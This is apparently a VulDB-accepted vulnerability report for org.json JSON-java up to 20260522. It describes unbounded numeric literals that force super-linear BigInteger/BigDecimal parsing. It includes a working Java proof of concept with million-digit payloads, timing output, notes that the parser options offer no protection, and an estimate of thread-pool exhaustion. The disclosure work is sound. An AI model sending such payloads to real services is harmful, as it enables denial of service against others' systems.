| Título | org.json JSON-java <= 20260522 Uncontrolled Resource Consumption, Allocation of Resources Witho |
|---|
| Descripción | ## 2. Vulnerability Description
`JSONTokener.nextSimpleValue()` accumulates characters into a `StringBuilder` with no length limit until it hits a structural JSON character:
**`JSONTokener.java:500–504`:**
```java
StringBuilder sb = new StringBuilder();
while (c >= ' ' && ",:]}/\\\"[{;=#".indexOf(c) < 0) {
sb.append(c); // unbounded — no length check
c = this.next();
}
```
The accumulated string is passed to `JSONObject.stringToValue()` → `stringToNumber()`, which calls `new BigInteger(val)` with zero size guard:
**`JSONObject.java:2738`:**
```java
BigInteger bi = new BigInteger(val); // val can be arbitrarily large; no guard
```
`BigInteger(String)` has O(n^1.585) time complexity due to its internal Karatsuba multiplication during construction. A 100,000-digit input takes ~120 ms; a 1,000,000-digit input takes ~12 seconds. The decimal path (`new BigDecimal(val)`, reached when the string contains a `.` or exponent) is equally affected.
**No configuration option prevents this.** `withStrictMode(true)` and `withKeepStrings(true)` are not checked in the `nextSimpleValue()` → `stringToNumber()` call chain. Confirmed by execution: both options still produce BigInteger in ~120 ms for a 100K-digit input.
**Relationship to CVE-2023-5072:** CVE-2023-5072 (fixed in release 20231013) catches `StackOverflowError` thrown by deeply nested JSON *structures* (`{[` brackets) inside `nextValue()`:
```java
} catch (StackOverflowError e) {
throw new JSONException("JSON Array or Object depth too large to process.", e);
}
```
This fix is in `nextValue()` and covers only recursive object/array structure depth. It has no effect on the numeric string length path in `nextSimpleValue()` → `stringToNumber()`. The BigInteger length issue was not addressed in 20231013 or in any subsequent release.
---
## 3. Affected Code Locations
| File | Lines | Description |
|------|-------|-------------|
| `JSONTokener.java` | 500–504 | `nextSimpleValue()` — unbounded character accumulation into `StringBuilder`, no length cap |
| `JSONObject.java` | 2721–2748 | `stringToNumber()` — `new BigInteger(val)` / `new BigDecimal(val)` called directly with no length guard |
---
## 4. Proof of Concept (Locally Verified)
### 4.1 POC Code
```java
import org.json.*;
public class Poc2NumericDoSv2 {
public static void main(String[] args) {
System.out.println("=== CVE-002: JSONTokener Unbounded Numeric String DoS ===");
// Scaling: timing at different digit counts
System.out.println("\n-- Unquoted numeric literal (JSONObject) --");
int[] sizes = {10_000, 100_000, 200_000, 500_000, 1_000_000};
for (int numLen : sizes) {
String payload = "{\"x\":" + "9".repeat(numLen) + "}";
long start = System.currentTimeMillis();
JSONObject jo = new JSONObject(payload);
long elapsed = System.currentTimeMillis() - start;
System.out.printf(" %,7d digits (~%3d KB): %,5d ms type=%s%n",
numLen, payload.length()/1024, elapsed, jo.get("x").getClass().getSimpleName());
}
// All affected entry points
System.out.println("\n-- All affected entry points (100K digits) --");
String p = "9".repeat(100_000);
long t;
t = System.currentTimeMillis(); new JSONObject("{\"n\":" + p + "}");
System.out.println(" new JSONObject(String): " + (System.currentTimeMillis()-t) + " ms");
t = System.currentTimeMillis(); new JSONArray("[" + p + "]");
System.out.println(" new JSONArray(String): " + (System.currentTimeMillis()-t) + " ms");
t = System.currentTimeMillis(); XML.toJSONObject("<r>" + p + "</r>");
System.out.println(" XML.toJSONObject(String): " + (System.currentTimeMillis()-t) + " ms");
// No configuration option prevents the DoS
System.out.println("\n-- Configuration bypass attempts (100K digits) --");
String payload100k = "{\"n\":" + p + "}";
t = System.currentTimeMillis();
new JSONObject(payload100k, new JSONParserConfiguration().withStrictMode(true));
System.out.println(" withStrictMode(true): " + (System.currentTimeMillis()-t) + " ms [no protection]");
t = System.currentTimeMillis();
new JSONObject(payload100k, new JSONParserConfiguration().withKeepStrings(true));
System.out.println(" withKeepStrings(true): " + (System.currentTimeMillis()-t) + " ms [no protection]");
System.out.println("\nRESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.");
}
}
```
### 4.2 Actual Execution Evidence (Reproduced Against json-20260522.jar)
```
=== CVE-002: JSONTokener Unbounded Numeric String DoS ===
-- Unquoted numeric literal (JSONObject) --
10,000 digits (~ 9 KB): 17 ms type=BigInteger
100,000 digits (~ 97 KB): 123 ms type=BigInteger
200,000 digits (~195 KB): 479 ms type=BigInteger
500,000 digits (~488 KB): 2,975 ms type=BigInteger
1,000,000 digits (~976 KB): 11,909 ms type=BigInteger
-- All affected entry points (100K digits) --
new JSONObject(String): 121 ms
new JSONArray(String): 120 ms
XML.toJSONObject(String): 123 ms
-- Configuration bypass attempts (100K digits) --
withStrictMode(true): 121 ms [no protection]
withKeepStrings(true): 124 ms [no protection]
RESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.
```
**Key observations:**
- All three primary entry points (`JSONObject`, `JSONArray`, `XML.toJSONObject`) are equally affected
- Neither `withStrictMode(true)` nor `withKeepStrings(true)` reduces the delay
- A 488 KB payload produces a ~3 second thread blockage
- Scaling is super-linear: doubling digits from 500K to 1M increases parse time approximately 4× (consistent with O(n^1.585))
---
## 6. CVSS 3.1 Analysis
| Metric | Value | Rationale |
|--------|-------|-----------|
| **Attack Vector** | Network | Any HTTP endpoint accepting JSON or XML input |
| **Attack Complexity** | **High** | Successful exploitation requires (1) the target application uses org.json rather than the default Spring Boot library (Jackson), and (2) the developer explicitly passes user-controlled input to `new JSONObject()` or equivalent. These are deployment conditions beyond the attacker's control, meeting the CVSS 3.1 definition of AC:High. |
| **Privileges Required** | None | No authentication — any anonymous HTTP request suffices once the above conditions are met |
| **User Interaction** | None | Fully server-side; no victim action required |
| **Scope** | Unchanged | Impact confined to the vulnerable application's thread pool |
| **Confidentiality** | None | Pure availability attack; no data disclosed |
| **Integrity** | None | No data modification |
| **Availability** | High | Single thread blocked ~3 seconds per 488 KB request; 200 concurrent requests exhaust a default Tomcat 200-thread pool |
**CVSS 3.1 Base Score: 5.9 (Medium)**
**Vector string:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H`
## 9. Relationship to Prior CVEs
| CVE | Fixed In | Root Cause | Code Path | Fix Applied |
|-----|----------|-----------|-----------|-------------|
| CVE-2022-45688 | 20230227 | XML recursive nesting → StackOverflow in `XML.parse()` | `XML.java` recursive `parse()` calls | Added `maxNestingDepth` parameter (default 512) in `ParserConfiguration` |
| CVE-2023-5072 | 20231013 | JSON nested `{[` structures → StackOverflowError in `nextValue()` | `JSONTokener.nextValue()` → recursive `new JSONObject()` / `new JSONArray()` | Added `catch (StackOverflowError e)` in `nextValue()` |
| **This report** | **Unfixed** | **Unbounded numeric string → O(n^1.585) BigInteger/BigDecimal construction** | **`nextSimpleValue()` → `stringToNumber()` → `new BigInteger(val)`** | **None** |
The three issues share the "resource exhaustion during parsing" symptom but have entirely separate root causes, code paths, and fixes. Neither prior CVE provides any protection against numeric string length attacks. |
|---|
| Fuente | ⚠️ https://github.com/stleary/JSON-java/issues/1063 |
|---|
| Usuario | Wayde.Shi24 (UID 98472) |
|---|
| Sumisión | 2026-06-18 20:51 (hace 2 meses) |
|---|
| Moderación | 2026-08-06 09:17 (2 months later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 386485 [stleary JSON-java hasta 20260522 JSONObject.java denegación de servicio] |
|---|
| Puntos | 20 |
|---|